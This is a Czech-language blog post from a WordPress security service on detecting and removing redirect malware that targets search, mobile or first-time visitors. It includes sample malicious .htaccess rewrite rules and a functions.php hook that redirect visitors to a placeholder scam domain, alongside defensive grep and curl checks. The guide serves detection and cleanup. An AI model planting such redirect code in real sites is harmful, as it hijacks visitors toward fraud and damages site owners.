← Zpět na blog |

WordPress přesměrování na cizí weby: Jak odhalit redirect malware

Web přesměrovává návštěvníky na cizí stránky, ale vy nic nevidíte? Redirect malware cílí jen na mobilní uživatele nebo příchozí z Googlu. Jak ho odhalit.

WordPress přesměrování na cizí weby: Jak odhalit redirect malware

WordPress přesměrování na cizí weby: Jak odhalit redirect malware

Datum publikace: 04. 04. 2026 Klíčová slova: wordpress přesměrování cizí web, redirect malware wordpress, web přesměrovává návštěvníky, wordpress virus přesměrování, přesměrování z google na podezřelý web Délka čtení: ~8 minut Meta popis (SEO): Web přesměrovává návštěvníky na cizí stránky, ale vy nic nevidíte? Redirect malware cílí jen na mobilní uživatele nebo příchozí z Googlu. Jak ho odhalit.


Zákazník vám napíše: "Váš web mě přesměroval na podivnou stránku." Otevřete prohlížeč, zadáte adresu, web se načte normálně. Zkusíte to znovu. Opět normálně.

Zákazník není blázen. A váš web není v pořádku.

Redirect malware — virus přesměrování — je jedním z nejzáludnějších typů napadení WordPress webu. Je záludný právě proto, že správce webu ho téměř nikdy nevidí. Přesměrovává jen konkrétní skupiny návštěvníků: ty, kteří přišli z Google, uživatele na mobilních zařízeních, nebo pouze první návštěvu z dané IP adresy.

Tím získává útočník čas. Váš web funguje podezřelé přesměrování desítky nebo stovky návštěvníků denně — a vy o tom nevíte.


Jak redirect malware funguje: 3 typy přesměrování

Typ 1: Přesměrování podle zdroje návštěvy (referer-based)

Nejčastější varianta. Malware zkontroluje HTTP hlavičku Referer — odkud návštěvník přišel. Pokud přišel z Google, Bingu nebo jiného vyhledávače, přesměruje ho na podvodnou stránku. Pokud zadal URL přímo do prohlížeče (jako vy při kontrole), přesměrování se nespustí.

Důsledek: SEO návštěvnost je přesměrována pryč, ale vy kontrolou vlastního webu nic neodhalíte.

Typ 2: Přesměrování pro mobilní zařízení (mobile redirect)

Malware detekuje User-Agent hlavičku prohlížeče. Mobilní uživatelé jsou přesměrováni, desktopové prohlížeče fungují normálně.

V roce 2026 pochází přes 60 % webového provozu z mobilních zařízení — útočník tak přesměrovává většinu vašich návštěvníků, zatímco vy vidíte na desktopu fungující web.

Typ 3: Přesměrování pro nové návštěvníky (first-visit redirect)

Malware ukládá cookie nebo sleduje IP adresu. Přesměrování se spustí pouze pro první návštěvu z dané IP adresy. Při druhé návštěvě web funguje normálně — proto i zákazníci, kteří přesměrování zažili, ho při opakované návštěvě nevidí.


Kde se redirect malware schovává

Na rozdíl od jiných typů malwaru se redirect kód může skrývat na více místech najednou — a útočníci ho záměrně distribuují, aby přežil i částečnou čistku.

Soubor .htaccess

Nejčastější umístění. Apache server zpracovává .htaccess před WordPressem, takže přesměrování funguje i při deaktivovaných pluginech.

Podezřelý kód vypadá takto:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.* [NC]
RewriteRule ^(.*)$ https://podvod.xyz/$1 [R=302,L]

Nebo sofistikovanější varianta s base64 zakódovanou cílovou URL:

RewriteRule . /index.php?_0xHEX=base64data [QSA,L]

Soubory functions.php v motivu

Redirect může být injektován do functions.php aktivního motivu jako PHP funkce, která na každé stránce přidá JavaScript přesměrování:

add_action('wp_head', function() {
    if (isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], 'google') !== false) {
        echo '<script>window.location="https://podvod.xyz";</script>';
    }
});

Databáze WordPress — wp_options

Útočníci využívají WordPress options API pro uložení redirect konfigurace, která přežije i výměnu témat a pluginů:

SELECT option_value FROM wp_options WHERE option_name = 'wp_user_roles';

Hledejte zakódované řetězce nebo base64 bloky v hodnotách options, které by normálně kódování neobsahovaly.

JavaScript soubory a záhlaví stránek

Redirect skript vložený do globálního JavaScript souboru (jquery.min.js, scripts.js) nebo přímo do záhlaví šablony je obtížné odhalit ručně — soubory vypadají legitimně, škodlivý kód je obfuskovaný.


Jak redirect malware odhalit: Diagnostický postup

Metoda 1: Simulujte návštěvu z Googlu

Otestujte web pomocí nástroje, který simuluje příchod z vyhledávače:

curl -I -e "https://www.google.com" https://vas-web.cz

Parametr -e nastaví HTTP Referer na Google. Pokud odpověď obsahuje 302 Found nebo 301 Moved Permanently s podezřelou URL, web přesměrovává.

Alternativně použijte Chrome DevTools: Network → zkontrolujte při načítání, zda není přítomný redirect 301/302 na neočekávanou adresu.

Metoda 2: Otestujte z mobilního zařízení přes mobilní internet

Připojte telefon k mobilním datům (ne k Wi-Fi, kde by mohla být stejná IP jako váš desktop), navštivte web přes odkaz z Google. Pokud dojde k přesměrování, jde o mobile redirect.

Metoda 3: Použijte Google Search Console

GSC → Zabezpečení a ručně provedené akce → zkontrolujte, zda Google nenahlásil "přesměrování na hacknuté URL" nebo "škodlivý obsah".

Také: GSC → Výkon → zkontrolujte, zda náhle neklesl organický provoz. Prudký pokles bez zjevné příčiny může signalizovat, že Google vaše stránky přestal zobrazovat kvůli přesměrování.

Metoda 4: Skenery malwaru

Online skenery jako Sucuri SiteCheck nebo VirusTotal URL zkontrolují váš web z různých IP adres a User-Agentů:

Tyto nástroje ale neodhalí všechny typy redirect malwaru — zvláště ty, které reagují jen na konkrétní podmínky. Jsou dobrým prvním krokem, ale negativní výsledek neznamená čistý web.

Metoda 5: Manuální prohledání souborů

# Hledání podezřelých přesměrování v .htaccess souborech
find . -name ".htaccess" -exec grep -l "RewriteRule" {} \;

# Hledání base64 zakódovaného kódu
grep -r "base64_decode" . --include="*.php" | grep -v "vendor/"

# Hledání JavaScript přesměrování
grep -r "window.location" . --include="*.js" --include="*.php"

Dopad redirect malwaru na váš web

Nejde jen o špatný dojem u návštěvníků. Dopady jsou konkrétní a měřitelné:

SEO penalizace: Google přesměrování z výsledků vyhledávání aktivně sleduje. Web může být označen jako "hacknutý" nebo "zavádějící" a vyřazen z výsledků hledání. Obnovení pozic trvá týdny až měsíce i po vyčistění.

Google Safe Browsing: Pokud Google detekuje přesměrování na phishing nebo malware, váš web zobrazí červenou varující stránku — "Tento web může být nebezpečný". Toto varování vidí všichni návštěvníci a odstraní se teprve po schválení žádosti o přezkum.

Google Ads: Pokud inzerujete, Google Ads automaticky zastaví kampaně vedoucí na web s redirect malwarem. Viz náš článek o obnovení Google Ads účtu po malwaru.

Ztráta důvěry zákazníků: Návštěvník přesměrovaný na podvodný web vaši doménu spojí s nebezpečností — i po vyčistění.


Proč vyčistit pouze .htaccess nestačí

Mnozí správci po nalezení redirect kódu v .htaccess soubor vyčistí a považují věc za vyřízenou. Za týden se přesměrování vrátí.

Příčina: útočník zanechal backdoor (viz náš článek o falešných admin účtech), který automaticky obnoví .htaccess při každé návštěvě webu nebo v pravidelném intervalu.

Skutečná čistka redirect malwaru vyžaduje:

  1. Identifikaci všech výskytů — .htaccess, PHP soubory, databáze, JavaScript
  2. Nalezení a odstranění backdooru, který redirect obnovuje
  3. Identifikaci vstupního vektoru — jak se útočník dostal dovnitř
  4. Záplatu zranitelnosti — bez opravy původní chyby se útočník vrátí
  5. Verifikaci po 24, 72 hodinách a 7 dnech — pravidelné kontroly

Kdy to nevyřešíte sami

Redirect malware patří k technicky složitějším typům napadení. Pokud:

  • Přesměrování se vrátí i po manuální čistce
  • Nenacházíte zdroj kódu v .htaccess ani v PHP souborech
  • Web byl označen jako nebezpečný Googlem
  • Nevíte, jak bezpečně provést forenzní analýzu bez rizika dalšího poškození

...je čas zavolat odborníky. V rámci balíčku RESCUE provedeme kompletní forenzní analýzu, odstraníme všechny výskyty redirect malwaru včetně backdoorů a zajistíme odblokování webu u Googlu.


Shrnutí

Redirect malware je záludný tím, že ho správce webu vidí jako poslední — nebo vůbec. Mezitím poškozuje SEO, ohrožuje návštěvníky a může vést k zablokování reklam i webu samotného.

Podezřelé příznaky: zákazníci hlásí přesměrování, náhlý pokles organické návštěvnosti, GSC varování nebo zpomalení webu bez příčiny.

Pokud víte, co hledat, redirect malware lze najít. Ale najít všechny výskyty a trvale ho odstranit — to vyžaduje systematický přístup.


Zjistili jste na svém webu přesměrování? Neotálejte — každá hodina znamená další ztráty. Kontaktujte nás pro rychlou diagnostiku.